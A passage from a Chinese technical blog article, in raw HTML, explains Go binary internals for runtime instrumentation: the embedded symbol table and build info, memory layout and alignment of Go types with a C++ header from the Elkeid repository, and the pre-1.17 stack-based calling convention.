rgb(214, 214, 214);">Golang</span></code><span data-position="1770" data-size="13" style="box-sizing: border-box;"> 程序还是可以正确地执行 </span><code data-position="1784" data-size="16" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">debug.PrintStack</span></code><span data-position="1801" data-size="12" style="box-sizing: border-box;"> 函数，那么便可以证明 </span><code data-position="1814" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="1822" data-size="21" style="box-sizing: border-box;"> 内部必然还存在一个符号表。根据官方文档 </span>Go 1.2 Runtime Symbol Information<span data-position="1962" data-size="5" style="box-sizing: border-box;"> 的介绍(</span><span style="box-sizing: border-box;color: rgb(0, 128, 255);"><a href="https://docs.google.com/document/d/1lyPIbmsYbXnpNj57a261hgOYVpNRcgydurVQIyZOz_o/pub" target="_blank">https://docs.google.com/document/d/1lyPIbmsYbXnpNj57a261hgOYVpNRcgydurVQIyZOz_o/pub</a></span><span data-position="1962" data-size="5" style="box-sizing: border-box;">)，</span><code data-position="1968" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="1975" data-size="23" style="box-sizing: border-box;"> 从 1.2 之后的版本内置了符号信息，对于 </span><code data-position="1999" data-size="3" style="box-sizing: border-box;">ELF</code><span data-position="2003" data-size="12" style="box-sizing: border-box;"> 格式来说，通常放置在 </span><code data-position="2016" data-size="10" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">.gopclntab</span></code><span data-position="2027" data-size="4" style="box-sizing: border-box;"> 这个 </span><code data-position="2032" data-size="7" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">section</span></code><span data-position="2040" data-size="1" style="box-sizing: border-box;">。</span></p><p data-startline="21" data-endline="22" data-position="1738" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="2042" data-size="82" style="box-sizing: border-box;">这些符号信息不仅包含了函数名称、函数地址范围以及函数栈帧长度信息，甚至还有相关的代码文件名，以及行号等源码信息。根据文档记录的信息格式，我们可以很轻松地解析出一个 </span><code data-position="2125" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="2132" data-size="11" style="box-sizing: border-box;"> 二进制程序的符号表。</span></p><p data-startline="21" data-endline="22" data-position="1738" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="2132" data-size="11" style="box-sizing: border-box;"><br/></span></p><h3 data-startline="23" data-endline="23" data-id="Golang-build-info" style="box-sizing: border-box;text-align: left;"><strong><span style="box-sizing: border-box;font-size: 18px;">Golang build info</span></strong></h3><p data-startline="24" data-endline="24" data-position="2166" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="2166" data-size="3" style="box-sizing: border-box;">对于 </span><code data-position="2170" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="2177" data-size="21" style="box-sizing: border-box;"> 1.13 以上编译出的二进制，可以使用 </span><code data-position="2199" data-size="10" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">go version</span></code><span data-position="2210" data-size="10" style="box-sizing: border-box;"> 命令查看编译时的 </span><code data-position="2221" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="2228" data-size="26" style="box-sizing: border-box;"> 版本，由此说明二进制中内嵌了相关的编译信息。对于 </span><code data-position="2255" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">ELF</span></code><span data-position="2259" data-size="14" style="box-sizing: border-box;"> 格式来说，编译信息存放在 </span><code data-position="2274" data-size="13" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">.go.buildinfo</span></code><span style="box-sizing: border-box;background-color: rgb(214, 214, 214);"> </span><code data-position="2290" data-size="7" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">section</span></code><span data-position="2298" data-size="6" style="box-sizing: border-box;">，其中包含 </span><code data-position="2305" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="2312" data-size="21" style="box-sizing: border-box;"> 版本号以及三方依赖库列表。值得注意的是，</span><code data-position="2334" data-size="9" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">buildinfo</span></code><span data-position="2344" data-size="6" style="box-sizing: border-box;"> 的格式在 </span><code data-position="2351" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="2359" data-size="31" style="box-sizing: border-box;"> 1.18 版本发生了改变，弃用了数据指针，相关解析代码可查看</span>官方仓库<span data-position="2479" data-size="1" style="box-sizing: border-box;">。</span></p><p data-startline="24" data-endline="24" data-position="2166" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="2479" data-size="1" style="box-sizing: border-box;"><br/></span></p><h3 data-startline="25" data-endline="25" data-id="Golang-internal-ABI" style="box-sizing: border-box;text-align: left;"><span style="font-size: 18px;"><strong><span data-position="2485" data-size="19" style="font-size: 18px;box-sizing: border-box;">Golang internal ABI</span></strong></span></h3><p data-startline="26" data-endline="26" data-position="2505" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="2505" data-size="10" style="box-sizing: border-box;">接下来我们需要了解 </span><code data-position="2516" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="2523" data-size="23" style="box-sizing: border-box;"> 编译出的机器码，是如何进行函数调用的，以及 </span><code data-position="2547" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="2554" data-size="36" style="box-sizing: border-box;"> 的结构体在内存中是如何存放的，了解这些之后我们才能正确地取出函数入参。</span></p><p data-startline="26" data-endline="26" data-position="2505" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="2554" data-size="36" style="box-sizing: border-box;"><br/></span></p><h4 data-startline="27" data-endline="27" data-id="memory-layout" style="box-sizing: border-box;text-align: left;"><strong><span style="box-sizing: border-box;font-size: 18px;">memory layout</span></strong></h4><p data-startline="28" data-endline="30" data-position="2610" data-size="0" style="box-sizing: border-box;text-align: left;"><code data-position="2611" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="2619" data-size="19" style="box-sizing: border-box;"> 包含的内置类型描述，可以在官方文档 </span>The Go Programming Language Specification<span data-position="2711" data-size="12" style="box-sizing: border-box;"> 中找到(</span><span style="box-sizing: border-box;color: rgb(0, 128, 255);"><a href="https://go.dev/ref/spec#Types" target="_blank">https://go.dev/ref/spec#Types</a></span><span data-position="2711" data-size="12" style="box-sizing: border-box;">)。对于数值类型，</span><code data-position="2724" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="2732" data-size="7" style="box-sizing: border-box;"> 规范了类型的</span>内存占用大小(<span style="color: rgb(0, 128, 255);"><a href="https://go.dev/ref/spec#Size_and_alignment_guarantees" target="_blank">https://go.dev/ref/spec#Size_and_alignment_guarantees</a></span>)<span data-position="2801" data-size="9" style="box-sizing: border-box;">，而字节对齐则随 </span><code data-position="2811" data-size="3" style="box-sizing: border-box;">CPU</code><span data-position="2815" data-size="19" style="box-sizing: border-box;"> 架构不同而变化。对于复合类型，例如 </span><code data-position="2835" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">string</span></code><span data-position="2842" data-size="1" style="box-sizing: border-box;">、</span><code data-position="2844" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">slice</span></code><span data-position="2850" data-size="4" style="box-sizing: border-box;"> 以及 </span><code data-position="2855" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">map</span></code><span data-position="2859" data-size="53" style="box-sizing: border-box;"> 等，内存占用大小由组成的基础类型及其字节对齐决定，而该复合类型的字节对齐由组成类型中最大的字节对齐决定。</span></p><p data-startline="28" data-endline="30" data-position="2610" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="2913" data-size="8" style="box-sizing: border-box;">文档中并未描述 </span><code data-position="2922" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">string</span></code><span data-position="2930" data-size="23" style="box-sizing: border-box;"> 等内置类型的底层内存排布，但是我们可以从一些</span>文章(<span style="color: rgb(0, 128, 255);"><a href="https://go101.org/article/string.html" target="_blank">https://go101.org/article/string.html</a></span>)<span data-position="2995" data-size="5" style="box-sizing: border-box;">，亦或是 </span><code data-position="3001" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">CGO</span></code><span data-position="3005" data-size="13" style="box-sizing: border-box;"> 生成的头文件中一窥究竟。</span></p><p data-startline="28" data-endline="30" data-position="2610" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="3019" data-size="7" style="box-sizing: border-box;">以下是我使用 </span><code data-position="3027" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">cpp</span></code><span data-position="3031" data-size="3" style="box-sizing: border-box;"> 对 </span><code data-position="3035" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">x64</span></code><span data-position="3039" data-size="5" style="box-sizing: border-box;"> 架构下 </span><code data-position="3045" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="3052" data-size="13" style="box-sizing: border-box;"> 类型的描述，代码可以在 </span><code data-position="3066" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Elkeid</span></code><span data-position="3074" data-size="3" style="box-sizing: border-box;"> 官方</span>仓库<span data-position="3155" data-size="4" style="box-sizing: border-box;">中找到：</span></p><p data-startline="28" data-endline="30" data-position="2610" data-size="0" style="box-sizing: border-box;text-align: left;"><span style="box-sizing: border-box;color: rgb(0, 128, 255);"><a href="https://github.com/bytedance/Elkeid/blob/main/rasp/golang/go/type/basic.h" target="_blank">https://github.com/bytedance/Elkeid/blob/main/rasp/golang/go/type/basic.h</a></span></p><p data-startline="28" data-endline="30" data-position="2610" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="3155" data-size="4" style="box-sizing: border-box;"><br/></span></p><pre data-startline="31" data-endline="66" data-position="3160" style="box-sizing: border-box;text-align: left;"><code style="box-sizing: border-box;"><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="cpp"><code><span class="code-snippet_outer"><span class="code-snippet__keyword">namespace</span> go {</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">signed</span> <span class="code-snippet__keyword">char</span> Int8;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">char</span> Uint8;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">short</span> Int16;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">short</span> Uint16;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">int</span> Int32;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">int</span> Uint32;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">long</span> <span class="code-snippet__keyword">long</span> Int64;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">unsigned</span> <span class="code-snippet__keyword">long</span> <span class="code-snippet__keyword">long</span> Uint64;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> Int64 Int;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> Uint64 Uint;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> __SIZE_TYPE__ Uintptr;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">float</span> Float32;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">double</span> Float64;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">float</span> <span class="code-snippet__keyword">_Complex</span> Complex64;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">typedef</span> <span class="code-snippet__keyword">double</span> <span class="code-snippet__keyword">_Complex</span> Complex128;</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">interface</span> {</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">void</span> *t;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">void</span> *v;</span></code><code><span class="code-snippet_outer">    };</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">string</span> {</span></span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">const</span> <span class="code-snippet__keyword">char</span> *data;</span></code><code><span class="code-snippet_outer">        <span class="code-snippet__keyword">ptrdiff_t</span> length;</span></code><code><span class="code-snippet_outer">    };</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer">    <span class="code-snippet__keyword">template</span>&lt;<span class="code-snippet__keyword">typename</span> T&gt;</span></code><code><span class="code-snippet_outer">    <span class="code-snippet__class"><span class="code-snippet__keyword">struct</span> <span class="code-snippet__title">slice</span> {</span></span></code><code><span class="code-snippet_outer">        T *values;</span></code><code><span class="code-snippet_outer">        Int count;</span></code><code><span class="code-snippet_outer">        Int capacity;</span></code><code><span class="code-snippet_outer">    };</span></code><code><span class="code-snippet_outer">}</span></code></pre></section><p><span style="box-sizing: border-box;"></span><br/></p></code></pre><p data-startline="67" data-endline="68" data-position="3909" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="3909" data-size="5" style="box-sizing: border-box;">可以看到 </span><code data-position="3915" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">string</span></code><span data-position="3922" data-size="38" style="box-sizing: border-box;"> 类型由两个字段组成，数据指针加上字符串长度，在内存中总共占用 16 字节。</span><code data-position="3961" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">string</span></code><span data-position="3968" data-size="18" style="box-sizing: border-box;"> 的内存对齐则由这两个字段决定，即 </span><code data-position="3987" data-size="58" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">align(string) = max(align(const char *), align(ptrdiff_t))</span></code><span data-position="4046" data-size="1" style="box-sizing: border-box;">。</span><br style="box-sizing: border-box;"/><span data-position="4048" data-size="3" style="box-sizing: border-box;">对于 </span><code data-position="4052" data-size="5" style="box-sizing: border-box;">int32</code><span data-position="4058" data-size="4" style="box-sizing: border-box;"> 这些 </span><code data-position="4063" data-size="6" style="box-sizing: border-box;">Golang</code><span data-position="4070" data-size="18" style="box-sizing: border-box;"> 的基础数值类型来说，其字节对齐与 </span><code data-position="4089" data-size="3" style="box-sizing: border-box;">cpp</code><span data-position="4093" data-size="9" style="box-sizing: border-box;"> 默认的对齐一致。</span></p><table data-startline="69" data-endline="81" data-original-title="" title=""><thead style="box-sizing: border-box;"><tr style="box-sizing: border-box;"><th style="box-sizing: border-box;text-align: left;" width="142.66666666666666"><span data-position="4105" data-size="4" style="box-sizing: border-box;">Type</span></th><th style="box-sizing: border-box;text-align: left;" width="93.33333333333334"><span data-position="4112" data-size="6" style="box-sizing: border-box;">64-bit</span></th><th style="box-sizing: border-box;text-align: left;" width="64"><br/></th><th style="box-sizing: border-box;text-align: left;" width="65.66666666666667"><span data-position="4129" data-size="6" style="box-sizing: border-box;">32-bit</span></th><th style="box-sizing: border-box;text-align: left;" width="66.66666666666667"><br/></th></tr></thead><tbody style="box-sizing: border-box;"><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;text-align: left;" width="120.66666666666666"><br/></td><td style="box-sizing: border-box;text-align: left;" width="106.66666666666667"><span data-position="4198" data-size="4" style="box-sizing: border-box;">Size</span></td><td style="box-sizing: border-box;text-align: left;" width="49.66666666666667"><span data-position="4207" data-size="5" style="box-sizing: border-box;">Align</span></td><td style="box-sizing: border-box;text-align: left;" width="65.66666666666667"><span data-position="4215" data-size="4" style="box-sizing: border-box;">Size</span></td><td style="box-sizing: border-box;text-align: left;" width="66.66666666666667"><span data-position="4224" data-size="5" style="box-sizing: border-box;">Align</span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;text-align: left;" width="120.66666666666666"><span data-position="4234" data-size="17" style="box-sizing: border-box;">bool, uint8, int8</span></td><td style="box-sizing: border-box;text-align: left;" width="106.66666666666667"><span data-position="4255" data-size="1" style="box-sizing: border-box;">1</span></td><td style="box-sizing: border-box;text-align: left;" width="43"><span data-position="4260" data-size="1" style="box-sizing: border-box;">1</span></td><td style="box-sizing: border-box;text-align: left;" width="65.66666666666667"><span data-position="4264" data-size="1" style="box-sizing: border-box;">1</span></td><td style="box-sizing: border-box;text-align: left;" width="66.66666666666667"><span data-position="4269" data-size="1" style="box-sizing: border-box;">1</span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;text-align: left;" width="120.66666666666666"><span data-position="4275" data-size="13" style="box-sizing: border-box;">uint16, int16</span></td><td style="box-sizing: border-box;text-align: left;" width="106.66666666666667"><span data-position="4296" data-size="1" style="box-sizing: border-box;">2</span></td><td style="box-sizing: border-box;text-align: left;" width="43"><span data-position="4301" data-size="1" style="box-sizing: border-box;">2</span></td><td style="box-sizing: border-box;text-align: left;" width="65.66666666666667"><span data-position="4305" data-size="1" style="box-sizing: border-box;">2</span></td><td style="box-sizing: border-box;text-align: left;" width="66.66666666666667"><span data-position="4310" data-size="1" style="box-sizing: border-box;">2</span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;text-align: left;" width="120.66666666666666"><span data-position="4316" data-size="13" style="box-sizing: border-box;">uint32, int32</span></td><td style="box-sizing: border-box;text-align: left;" width="106.66666666666667"><span data-position="4337" data-size="1" style="box-sizing: border-box;">4</span></td><td style="box-sizing: border-box;text-align: left;" width="43"><span data-position="4342" data-size="1" style="box-sizing: border-box;">4</span></td><td style="box-sizing: border-box;text-align: left;" width="65.66666666666667"><span data-position="4346" data-size="1" style="box-sizing: border-box;">4</span></td><td style="box-sizing: border-box;text-align: left;" width="66.66666666666667"><span data-position="4351" data-size="1" style="box-sizing: border-box;">4</span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;text-align: left;" width="120.66666666666666"><span data-position="4357" data-size="13" style="box-sizing: border-box;">uint64, int64</span></td><td style="box-sizing: border-box;text-align: left;" width="106.66666666666667"><span data-position="4378" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="43"><span data-position="4383" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="65.66666666666667"><span data-position="4387" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="66.66666666666667"><span data-position="4392" data-size="1" style="box-sizing: border-box;">4</span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;text-align: left;" width="120.66666666666666"><span data-position="4398" data-size="9" style="box-sizing: border-box;">int, uint</span></td><td style="box-sizing: border-box;text-align: left;" width="106.66666666666667"><span data-position="4419" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="43"><span data-position="4424" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="65.66666666666667"><span data-position="4428" data-size="1" style="box-sizing: border-box;">4</span></td><td style="box-sizing: border-box;text-align: left;" width="66.66666666666667"><span data-position="4433" data-size="1" style="box-sizing: border-box;">4</span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;text-align: left;" width="120.66666666666666"><span data-position="4439" data-size="7" style="box-sizing: border-box;">float32</span></td><td style="box-sizing: border-box;text-align: left;" width="106.66666666666667"><span data-position="4460" data-size="1" style="box-sizing: border-box;">4</span></td><td style="box-sizing: border-box;text-align: left;" width="43"><span data-position="4465" data-size="1" style="box-sizing: border-box;">4</span></td><td style="box-sizing: border-box;text-align: left;" width="65.66666666666667"><span data-position="4469" data-size="1" style="box-sizing: border-box;">4</span></td><td style="box-sizing: border-box;text-align: left;" width="66.66666666666667"><span data-position="4474" data-size="1" style="box-sizing: border-box;">4</span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;text-align: left;" width="120.66666666666666"><span data-position="4480" data-size="7" style="box-sizing: border-box;">float64</span></td><td style="box-sizing: border-box;text-align: left;" width="106.66666666666667"><span data-position="4501" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="43"><span data-position="4506" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="65.66666666666667"><span data-position="4510" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="66.66666666666667"><span data-position="4515" data-size="1" style="box-sizing: border-box;">4</span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;text-align: left;" width="120.66666666666666"><span data-position="4521" data-size="9" style="box-sizing: border-box;">complex64</span></td><td style="box-sizing: border-box;text-align: left;" width="106.66666666666667"><span data-position="4542" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="43"><span data-position="4547" data-size="1" style="box-sizing: border-box;">4</span></td><td style="box-sizing: border-box;text-align: left;" width="65.66666666666667"><span data-position="4551" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="66.66666666666667"><span data-position="4556" data-size="1" style="box-sizing: border-box;">4</span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;text-align: left;" width="120.66666666666666"><span data-position="4562" data-size="10" style="box-sizing: border-box;">complex128</span></td><td style="box-sizing: border-box;text-align: left;" width="106.66666666666667"><span data-position="4583" data-size="2" style="box-sizing: border-box;">16</span></td><td style="box-sizing: border-box;text-align: left;" width="43"><span data-position="4588" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="65.66666666666667"><span data-position="4592" data-size="2" style="box-sizing: border-box;">16</span></td><td style="box-sizing: border-box;text-align: left;" width="66.66666666666667"><span data-position="4597" data-size="1" style="box-sizing: border-box;">4</span></td></tr><tr style="box-sizing: border-box;"><td style="box-sizing: border-box;text-align: left;" width="120.66666666666666"><span data-position="4603" data-size="26" style="box-sizing: border-box;">uintptr, *T, unsafe.Pointer</span></td><td style="box-sizing: border-box;text-align: left;" width="106.66666666666667"><span data-position="4633" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="43"><span data-position="4637" data-size="1" style="box-sizing: border-box;">8</span></td><td style="box-sizing: border-box;text-align: left;" width="65.66666666666667"><span data-position="4641" data-size="1" style="box-sizing: border-box;">4</span></td><td style="box-sizing: border-box;text-align: left;" width="66.66666666666667"><span data-position="4645" data-size="1" style="box-sizing: border-box;">4</span></td></tr></tbody></table><p data-startline="83" data-endline="83" data-position="4650" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="4650" data-size="3" style="box-sizing: border-box;">但是 </span><code data-position="4654" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="4661" data-size="28" style="box-sizing: border-box;"> 并不确保这些类型的字节对齐不变，官方似乎正在考虑改变 </span><code data-position="4690" data-size="3" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">x86</span></code><span data-position="4694" data-size="3" style="box-sizing: border-box;"> 上 </span><code data-position="4698" data-size="5" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">int64</span></code><span data-position="4704" data-size="17" style="box-sizing: border-box;"> 的字节对齐。现在我们已经了解了 </span><code data-position="4722" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="4729" data-size="66" style="box-sizing: border-box;"> 类型的内存排布，那么对于任意入参的函数调用，我们都能准确的从内存中取出数据。现在剩下的问题便是函数调用发生时，参数将会存放在何处？</span></p><p data-startline="83" data-endline="83" data-position="4650" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="4729" data-size="66" style="box-sizing: border-box;"><br/></span></p><h4 data-startline="84" data-endline="84" data-id="stack-based-calling-conventions" style="box-sizing: border-box;text-align: left;"><strong><span style="box-sizing: border-box;font-size: 18px;">stack-based calling conventions</span></strong></h4><p data-startline="85" data-endline="87" data-position="4833" data-size="0" style="box-sizing: border-box;text-align: left;"><code data-position="4834" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="4842" data-size="58" style="box-sizing: border-box;"> 在 1.17 版本之前的函数调用中，参数与结果均存放在栈上。但由于栈上频繁的内存操作影响了运行性能，所以社区草拟了</span>基于寄存器的调用约定方案(<span style="color: rgb(0, 128, 255);"><a href="https://go.googlesource.com/proposal/+/master/design/40724-register-calling.md" target="_blank">https://go.googlesource.com/proposal/+/master/design/40724-register-calling.md</a></span>)<span data-position="4993" data-size="21" style="box-sizing: border-box;">，并在 1.17 版本后切换到该调用约定。</span></p><p data-startline="85" data-endline="87" data-position="4833" data-size="0" style="box-sizing: border-box;text-align: left;"><br style="box-sizing: border-box;"/><span data-position="5015" data-size="6" style="box-sizing: border-box;">我们先了解 </span><code data-position="5022" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">Golang</span></code><span data-position="5029" data-size="6" style="box-sizing: border-box;"> 最原始的 </span><code data-position="5036" data-size="4" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">ABI0</span></code><span data-position="5042" data-size="23" style="box-sizing: border-box;">，也就是基于栈的调用约定，细节描述可以从文档 </span>A Quick Guide to Go’s Assembler<span data-position="5121" data-size="43" style="box-sizing: border-box;"> 找到(</span><span style="box-sizing: border-box;color: rgb(0, 128, 255);"><a href="https://go.dev/doc/asm" target="_blank">https://go.dev/doc/asm</a></span><span data-position="5121" data-size="43" style="box-sizing: border-box;">)。在函数调用发生时，调用者需要将参数以及返回值，从低地址向高地址依次排列在栈顶。</span><br style="box-sizing: border-box;"/><span data-position="5165" data-size="8" style="box-sizing: border-box;">例如在调用函数</span><span style="box-sizing: border-box;background-color: rgb(214, 214, 214);"> </span><code data-position="5174" data-size="40" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">func A(a int32, b string) (int32, error)</span></code><span style="box-sizing: border-box;background-color: rgb(214, 214, 214);"> </span><span data-position="5215" data-size="21" style="box-sizing: border-box;">时，我们需要按下列排布存放参数与返回值：</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li><li></li></ul><pre class="code-snippet__js" data-lang="ruby"><code><span class="code-snippet_outer">+------------------------------+</span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| 2nd result error.v           |</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| 2nd result error.t           |</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| 1st result int32             |</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| &lt;pointer-sized alignment&gt;    |</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| b string.length              |</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| b string.data                |</span></span></code><code><span class="code-snippet_outer"><span class="code-snippet__params">| a int32                      |</span></span></code><code><span class="code-snippet_outer">+------------------------------+ ↓ stack pointer</span></code></pre></section><p data-startline="99" data-endline="100" data-position="5588" data-size="0" style="box-sizing: border-box;text-align: left;"><span data-position="5588" data-size="19" style="box-sizing: border-box;">先放入 4 字节的参数 a，接着放入 </span><code data-position="5608" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">string</span></code><span data-position="5615" data-size="12" style="box-sizing: border-box;"> 类型的参数 b。由于 </span><code data-position="5628" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">string</span></code><span data-position="5635" data-size="20" style="box-sizing: border-box;"> 类型的字节对齐是 8，而此时的地址为 </span><code data-position="5656" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">sp + 4</span></code><span data-position="5663" data-size="20" style="box-sizing: border-box;">，所以需要填充 4 字节的空白区域，从 </span><code data-position="5684" data-size="6" style="box-sizing: border-box;"><span style="background-color: rgb(214, 214, 214);">sp + 8</span></code><span data-position="5691" data-size="6" style="box-sizing: border-box;"> 开始放置 </span><code data-position="5698" data-size="6" style="box-sizing: border-box;">string</code><span data-position="5705" data-size="44" style="box-sizing: border-box;"> 的数据。参数存放完成后，如果此时的地址没有按指针大小对齐，则需要填充空白字节。例如在 </span><code data-position="5750" data-size="5" style="box-sizing: border-box;"><span style="background-color: 